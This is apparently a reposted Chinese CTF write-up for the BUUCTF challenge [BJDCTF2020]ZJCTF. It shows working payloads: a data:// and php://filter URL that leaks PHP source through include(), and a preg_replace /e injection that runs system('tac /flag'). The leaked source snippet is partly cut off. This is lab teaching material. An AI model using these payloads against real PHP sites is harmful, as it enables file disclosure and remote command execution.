php伪协议与正则表达式--buuctf-[BJDCTF2020]ZJCTF,不过如此(小宇特详解)

php伪协议与正则表达式--buuctf-[BJDCTF2020]ZJCTF,不过如此(小宇特详解)_第1张图片

读取代码,当传入的参数text中的内容为I have a dream时,才可执行下一步,include()为文件包含,利用php伪协议可构造

payload为

?text=data://text/plain,I have a dream&file=php://filter/read/convert.base64-encode/resource=next.php

 php伪协议与正则表达式--buuctf-[BJDCTF2020]ZJCTF,不过如此(小宇特详解)_第2张图片

 

将其base64解码得到next.php源码

 $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

构造payload,这里使用了 \S*=${}

next.php?\S*=${getFlag()}&cmd=system('tac /flag');

得到flag

php伪协议与正则表达式--buuctf-[BJDCTF2020]ZJCTF,不过如此(小宇特详解)_第3张图片 

 

preg_replace/e模式可执行第二个参数的代码

preg_replace()具体用法请看下面的文章 

深入研究preg_replace与代码执行 - 先知社区

你可能感兴趣的:(php,正则表达式)